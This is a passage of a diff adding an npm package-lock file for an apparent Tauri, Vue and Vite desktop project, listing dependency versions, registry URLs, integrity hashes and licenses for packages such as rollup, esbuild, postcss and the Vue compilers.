"https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.60.1.tgz", + "integrity": "sha512-u09m3CuwLzShA0EYKMNiFgcjjzwqtUMLmuCJLeZWjjOYA3IT2Di09KaxGBTP9xVztWyIWjVdsB2E9goMjZvTQg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.60.1.tgz", + "integrity": "sha512-k+600V9Zl1CM7eZxJgMyTUzmrmhB/0XZnF4pRypKAlAgxmedUA+1v9R+XOFv56W4SlHEzfeMtzujLJD22Uz5zg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.60.1.tgz", + "integrity": "sha512-lWMnixq/QzxyhTV6NjQJ4SFo1J6PvOX8vUx5Wb4bBPsEb+8xZ89Bz6kOXpfXj9ak9AHTQVQzlgzBEc1SyM27xQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@tauri-apps/api": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/api/-/api-2.10.1.tgz", + "integrity": "sha512-hKL/jWf293UDSUN09rR69hrToyIXBb8CjGaWC7gfinvnQrBVvnLr08FeFi38gxtugAVyVcTa5/FD/Xnkb1siBw==", + "license": "Apache-2.0 OR MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/tauri" + } + }, + "node_modules/@tauri-apps/cli": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/cli/-/cli-2.10.1.tgz", + "integrity": "sha512-jQNGF/5quwORdZSSLtTluyKQ+o6SMa/AUICfhf4egCGFdMHqWssApVgYSbg+jmrZoc8e1DscNvjTnXtlHLS11g==", + "dev": true, + "license": "Apache-2.0 OR MIT", + "bin": { + "tauri": "tauri.js" + }, + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/tauri" + }, + "optionalDependencies": { + "@tauri-apps/cli-darwin-arm64": "2.10.1", + "@tauri-apps/cli-darwin-x64": "2.10.1", + "@tauri-apps/cli-linux-arm-gnueabihf": "2.10.1", + "@tauri-apps/cli-linux-arm64-gnu": "2.10.1", + "@tauri-apps/cli-linux-arm64-musl": "2.10.1", + "@tauri-apps/cli-linux-riscv64-gnu": "2.10.1", + "@tauri-apps/cli-linux-x64-gnu": "2.10.1", + "@tauri-apps/cli-linux-x64-musl": "2.10.1", + "@tauri-apps/cli-win32-arm64-msvc": "2.10.1", + "@tauri-apps/cli-win32-ia32-msvc": "2.10.1", + "@tauri-apps/cli-win32-x64-msvc": "2.10.1" + } + }, + "node_modules/@tauri-apps/cli-darwin-arm64": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/cli-darwin-arm64/-/cli-darwin-arm64-2.10.1.tgz", + "integrity": "sha512-Z2OjCXiZ+fbYZy7PmP3WRnOpM9+Fy+oonKDEmUE6MwN4IGaYqgceTjwHucc/kEEYZos5GICve35f7ZiizgqEnQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "Apache-2.0 OR MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tauri-apps/cli-darwin-x64": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/cli-darwin-x64/-/cli-darwin-x64-2.10.1.tgz", + "integrity": "sha512-V/irQVvjPMGOTQqNj55PnQPVuH4VJP8vZCN7ajnj+ZS8Kom1tEM2hR3qbbIRoS3dBKs5mbG8yg1WC+97dq17Pw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0 OR MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tauri-apps/cli-linux-arm-gnueabihf": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/cli-linux-arm-gnueabihf/-/cli-linux-arm-gnueabihf-2.10.1.tgz", + "integrity": "sha512-Hyzwsb4VnCWKGfTw+wSt15Z2pLw2f0JdFBfq2vHBOBhvg7oi6uhKiF87hmbXOBXUZaGkyRDkCHsdzJcIfoJC2w==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "Apache-2.0 OR MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tauri-apps/cli-linux-arm64-gnu": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/cli-linux-arm64-gnu/-/cli-linux-arm64-gnu-2.10.1.tgz", + "integrity": "sha512-OyOYs2t5GkBIvyWjA1+h4CZxTcdz1OZPCWAPz5DYEfB0cnWHERTnQ/SLayQzncrT0kwRoSfSz9KxenkyJoTelA==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "Apache-2.0 OR MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tauri-apps/cli-linux-arm64-musl": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/cli-linux-arm64-musl/-/cli-linux-arm64-musl-2.10.1.tgz", + "integrity": "sha512-MIj78PDDGjkg3NqGptDOGgfXks7SYJwhiMh8SBoZS+vfdz7yP5jN18bNaLnDhsVIPARcAhE1TlsZe/8Yxo2zqg==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "Apache-2.0 OR MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tauri-apps/cli-linux-riscv64-gnu": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/cli-linux-riscv64-gnu/-/cli-linux-riscv64-gnu-2.10.1.tgz", + "integrity": "sha512-X0lvOVUg8PCVaoEtEAnpxmnkwlE1gcMDTqfhbefICKDnOTJ5Est3qL0SrWxizDackIOKBcvtpejrSiVpuJI1kw==", + "cpu": [ + "riscv64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "Apache-2.0 OR MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tauri-apps/cli-linux-x64-gnu": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/cli-linux-x64-gnu/-/cli-linux-x64-gnu-2.10.1.tgz", + "integrity": "sha512-2/12bEzsJS9fAKybxgicCDFxYD1WEI9kO+tlDwX5znWG2GwMBaiWcmhGlZ8fi+DMe9CXlcVarMTYc0L3REIRxw==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "Apache-2.0 OR MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tauri-apps/cli-linux-x64-musl": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/cli-linux-x64-musl/-/cli-linux-x64-musl-2.10.1.tgz", + "integrity": "sha512-Y8J0ZzswPz50UcGOFuXGEMrxbjwKSPgXftx5qnkuMs2rmwQB5ssvLb6tn54wDSYxe7S6vlLob9vt0VKuNOaCIQ==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "Apache-2.0 OR MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tauri-apps/cli-win32-arm64-msvc": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/cli-win32-arm64-msvc/-/cli-win32-arm64-msvc-2.10.1.tgz", + "integrity": "sha512-iSt5B86jHYAPJa/IlYw++SXtFPGnWtFJriHn7X0NFBVunF6zu9+/zOn8OgqIWSl8RgzhLGXQEEtGBdR4wzpVgg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "Apache-2.0 OR MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tauri-apps/cli-win32-ia32-msvc": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/cli-win32-ia32-msvc/-/cli-win32-ia32-msvc-2.10.1.tgz", + "integrity": "sha512-gXyxgEzsFegmnWywYU5pEBURkcFN/Oo45EAwvZrHMh+zUSEAvO5E8TXsgPADYm31d1u7OQU3O3HsYfVBf2moHw==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "Apache-2.0 OR MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tauri-apps/cli-win32-x64-msvc": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/@tauri-apps/cli-win32-x64-msvc/-/cli-win32-x64-msvc-2.10.1.tgz", + "integrity": "sha512-6Cn7YpPFwzChy0ERz6djKEmUehWrYlM+xTaNzGPgZocw3BD7OfwfWHKVWxXzdjEW2KfKkHddfdxK1XXTYqBRLg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0 OR MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tauri-apps/plugin-opener": { + "version": "2.5.3", + "resolved": "https://registry.npmjs.org/@tauri-apps/plugin-opener/-/plugin-opener-2.5.3.tgz", + "integrity": "sha512-CCcUltXMOfUEArbf3db3kCE7Ggy1ExBEBl51Ko2ODJ6GDYHRp1nSNlQm5uNCFY5k7/ufaK5Ib3Du/Zir19IYQQ==", + "license": "MIT OR Apache-2.0", + "dependencies": { + "@tauri-apps/api": "^2.8.0" + } + }, + "node_modules/@types/estree": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@vitejs/plugin-vue": { + "version": "5.2.4", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-vue/-/plugin-vue-5.2.4.tgz", + "integrity": "sha512-7Yx/SXSOcQq5HiiV3orevHUFn+pmMB4cgbEkDYgnkUWb0WfeQ/wa2yFv6D5ICiCQOVpjA7vYDXrC7AGO8yjDHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "peerDependencies": { + "vite": "^5.0.0 || ^6.0.0", + "vue": "^3.2.25" + } + }, + "node_modules/@volar/language-core": { + "version": "2.4.15", + "resolved": "https://registry.npmjs.org/@volar/language-core/-/language-core-2.4.15.tgz", + "integrity": "sha512-3VHw+QZU0ZG9IuQmzT68IyN4hZNd9GchGPhbD9+pa8CVv7rnoOZwo7T8weIbrRmihqy3ATpdfXFnqRrfPVK6CA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/source-map": "2.4.15" + } + }, + "node_modules/@volar/source-map": { + "version": "2.4.15", + "resolved": "https://registry.npmjs.org/@volar/source-map/-/source-map-2.4.15.tgz", + "integrity": "sha512-CPbMWlUN6hVZJYGcU/GSoHu4EnCHiLaXI9n8c9la6RaI9W5JHX+NqG+GSQcB0JdC2FIBLdZJwGsfKyBB71VlTg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@volar/typescript": { + "version": "2.4.15", + "resolved": "https://registry.npmjs.org/@volar/typescript/-/typescript-2.4.15.tgz", + "integrity": "sha512-2aZ8i0cqPGjXb4BhkMsPYDkkuc2ZQ6yOpqwAuNwUoncELqoy5fRgOQtLR9gB0g902iS0NAkvpIzs27geVyVdPg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/language-core": "2.4.15", + "path-browserify": "^1.0.1", + "vscode-uri": "^3.0.8" + } + }, + "node_modules/@vue/compiler-core": { + "version": "3.5.32", + "resolved": "https://registry.npmjs.org/@vue/compiler-core/-/compiler-core-3.5.32.tgz", + "integrity": "sha512-4x74Tbtqnda8s/NSD6e1Dr5p1c8HdMU5RWSjMSUzb8RTcUQqevDCxVAitcLBKT+ie3o0Dl9crc/S/opJM7qBGQ==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.2", + "@vue/shared": "3.5.32", + "entities": "^7.0.1", + "estree-walker": "^2.0.2", + "source-map-js": "^1.2.1" + } + }, + "node_modules/@vue/compiler-dom": { + "version": "3.5.32", + "resolved": "https://registry.npmjs.org/@vue/compiler-dom/-/compiler-dom-3.5.32.tgz", + "integrity": "sha512-ybHAu70NtiEI1fvAUz3oXZqkUYEe5J98GjMDpTGl5iHb0T15wQYLR4wE3h9xfuTNA+Cm2f4czfe8B4s+CCH57Q==", + "license": "MIT", + "dependencies": { + "@vue/compiler-core": "3.5.32", + "@vue/shared": "3.5.32" + } + }, + "node_modules/@vue/compiler-sfc": { + "version": "3.5.32", + "resolved": "https://registry.npmjs.org/@vue/compiler-sfc/-/compiler-sfc-3.5.32.tgz", + "integrity": "sha512-8UYUYo71cP/0YHMO814TRZlPuUUw3oifHuMR7Wp9SNoRSrxRQnhMLNlCeaODNn6kNTJsjFoQ/kqIj4qGvya4Xg==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.2", + "@vue/compiler-core": "3.5.32", + "@vue/compiler-dom": "3.5.32", + "@vue/compiler-ssr": "3.5.32", + "@vue/shared": "3.5.32", + "estree-walker": "^2.0.2", + "magic-string": "^0.30.21", + "postcss": "^8.5.8", + "source-map-js": "^1.2.1" + } + }, + "node_modules/@vue/compiler-ssr": { + "version": "3.5.32", + "resolved": "https://registry.npmjs.org/@vue/compiler-ssr/-/compiler-ssr-3.5.32.tgz", + "integrity": "sha512-Gp4gTs22T3DgRotZ8aA/6m2jMR+GMztvBXUBEUOYOcST+giyGWJ4WvFd7QLHBkzTxkfOt8IELKNdpzITLbA2rw==", + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.32", + "@vue/shared": "3.5.32" + } + }, + "node_modules/@vue/compiler-vue2": { + "version": "2.7.16", + "resolved": "https://registry.npmjs.org/@vue/compiler-vue2/-/compiler-vue2-2.7.16.tgz", + "integrity": "sha512-qYC3Psj9S/mfu9uVi5WvNZIzq+xnXMhOwbTFKKDD7b1lhpnn71jXSFdTQ+WsIEk0ONCd7VV2IMm7ONl6tbQ86A==", + "dev": true, + "license": "MIT", + "dependencies": { + "de-indent": "^1.0.2", + "he": "^1.2.0" + } + }, + "node_modules/@vue/language-core": { + "version": "2.2.12", + "resolved": "https://registry.npmjs.org/@vue/language-core/-/language-core-2.2.12.tgz", + "integrity": "sha512-IsGljWbKGU1MZpBPN+BvPAdr55YPkj2nB/TBNGNC32Vy2qLG25DYu/NBN2vNtZqdRbTRjaoYrahLrToim2NanA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/language-core": "2.4.15", + "@vue/compiler-dom": "^3.5.0", + "@vue/compiler-vue2": "^2.7.16", + "@vue/shared": "^3.5.0", + "alien-signals": "^1.0.3", + "minimatch": "^9.0.3", + "muggle-string": "^0.4.1", + "path-browserify": "^1.0.1" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@vue/reactivity": { + "version": "3.5.32", + "resolved": "https://registry.npmjs.org/@vue/reactivity/-/reactivity-3.5.32.tgz", + "integrity": "sha512-/ORasxSGvZ6MN5gc+uE364SxFdJ0+WqVG0CENXaGW58TOCdrAW76WWaplDtECeS1qphvtBZtR+3/o1g1zL4xPQ==", + "license": "MIT", + "dependencies": { + "@vue/shared": "3.5.32" + } + }, + "node_modules/@vue/runtime-core": { + "version": "3.5.32", + "resolved": "https://registry.npmjs.org/@vue/runtime-core/-/runtime-core-3.5.32.tgz", + "integrity": "sha512-pDrXCejn4UpFDFmMd27AcJEbHaLemaE5o4pbb7sLk79SRIhc6/t34BQA7SGNgYtbMnvbF/HHOftYBgFJtUoJUQ==", + "license": "MIT", + "dependencies": { + "@vue/reactivity": "3.5.32", + "@vue/shared": "3.5.32" + } + }, + "node_modules/@vue/runtime-dom": { + "version": "3.5.32", + "resolved": "https://registry.npmjs.org/@vue/runtime-dom/-/runtime-dom-3.5.32.tgz", + "integrity": "sha512-1CDVv7tv/IV13V8Nip1k/aaObVbWqRlVCVezTwx3K07p7Vxossp5JU1dcPNhJk3w347gonIUT9jQOGutyJrSVQ==", + "license": "MIT", + "dependencies": { + "@vue/reactivity": "3.5.32", + "@vue/runtime-core": "3.5.32", + "@vue/shared": "3.5.32", + "csstype": "^3.2.3" + } + }, + "node_modules/@vue/server-renderer": { + "version": "3.5.32", + "resolved": "https://registry.npmjs.org/@vue/server-renderer/-/server-renderer-3.5.32.tgz", + "integrity": "sha512-IOjm2+JQwRFS7W28HNuJeXQle9KdZbODFY7hFGVtnnghF51ta20EWAZJHX+zLGtsHhaU6uC9BGPV52KVpYryMQ==", + "license": "MIT", + "dependencies": { + "@vue/compiler-ssr": "3.5.32", + "@vue/shared": "3.5.32" + }, + "peerDependencies": { + "vue": "3.5.32" + } + }, + "node_modules/@vue/shared": { + "version": "3.5.32", + "resolved": "https://registry.npmjs.org/@vue/shared/-/shared-3.5.32.tgz", + "integrity": "sha512-ksNyrmRQzWJJ8n3cRDuSF7zNNontuJg1YHnmWRJd2AMu8Ij2bqwiiri2lH5rHtYPZjj4STkNcgcmiQqlOjiYGg==", + "license": "MIT" + }, + "node_modules/alien-signals": { + "version": "1.0.13", + "resolved": "https://registry.npmjs.org/alien-signals/-/alien-signals-1.0.13.tgz", + "integrity": "sha512-OGj9yyTnJEttvzhTUWuscOvtqxq5vrhF7vL9oS0xJ2mK0ItPYP1/y+vCFebfxoEyAz0++1AIwJ5CMr+Fk3nDmg==", + "dev": true, + "license": "MIT" + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/brace-expansion": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.0.tgz", + "integrity": "sha512-TN1kCZAgdgweJhWWpgKYrQaMNHcDULHkWwQIspdtjV4Y5aurRdZpjAqn6yX3FPqTA9ngHCc4hJxMAMgGfve85w==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "license": "MIT" + }, + "node_modules/de-indent": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/de-indent/-/de-indent-1.0.2.tgz", + "integrity": "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg==", + "dev": true, + "license": "MIT" + }, + "node_modules/entities": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-7.0.1.tgz", + "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/esbuild": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "license": "MIT" + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "license": "MIT", + "bin": { + "he": "bin/he" + } + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/minimatch": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/muggle-string": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/muggle-string/-/muggle-string-0.4.1.tgz", + "integrity": "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/path-browserify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-1.0.1.tgz", + "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", + "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/postcss": { + "version": "8.5.9", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.9.tgz", + "integrity": "sha512-7a70Nsot+EMX9fFU3064K/kdHWZqGVY+BADLyXc8Dfv+mTLLVl6JzJpPaCZ2kQL9gIJvKXSLMHhqdRRjwQeFtw==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/rollup": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.60.1.tgz", + "integrity": "sha512-VmtB2rFU/GroZ4oL8+ZqXgSA38O6GR8KSIvWmEFv63pQ0G6KaBH9s07PO8XTXP4vI+3UJUEypOfjkGfmSBBR0w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.8" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.60.1", + "@rollup/rollup-android-arm64": "4.60.1", + "@rollup/rollup-darwin-arm64": "4.60.1", + "@rollup/rollup-darwin-x64": "4.60.1", + "@rollup/rollup-freebsd-arm64": "4.60.1", + "@rollup/rollup-freebsd-x64": "4.60.1", + "@rollup/rollup-linux-arm-gnueabihf": "4.60.1", + "@rollup/rollup-linux-arm-musleabihf": "4.60.1", + "@rollup/rollup-linux-arm64-gnu": "4.60.1", + "@rollup/rollup-linux-arm64-musl": "4.60.1", + "@rollup/rollup-linux-loong64-gnu": "4.60.1", + "@rollup/rollup-linux-loong64-musl": "4.60.1", + "@rollup/rollup-linux-ppc64-gnu": "4.60.1", + "@rollup/rollup-linux-ppc64-musl": "4.60.1", + "@rollup/rollup-linux-riscv64-gnu": "4.60.1", + "@rollup/rollup-linux-riscv64-musl": "4.60.1", + "@rollup/rollup-linux-s390x-gnu": "4.60.1", + "@rollup/rollup-linux-x64-gnu": "4.60.1", + "@rollup/rollup-linux-x64-musl": "4.60.1", + "@rollup/rollup-openbsd-x64": "4.60.1", + "@rollup/rollup-openharmony-arm64": "4.60.1", + "@rollup/rollup-win32-arm64-msvc": "4.60.1", + "@rollup/rollup-win32-ia32-msvc": "4.60.1", + "@rollup/rollup-win32-x64-gnu": "4.60.1", + "@rollup/rollup-win32-x64-msvc": "4.60.1", + "fsevents": "~2.3.2" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/tinyglobby": { + "version": "0.2.16", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.16.tgz", + "integrity": 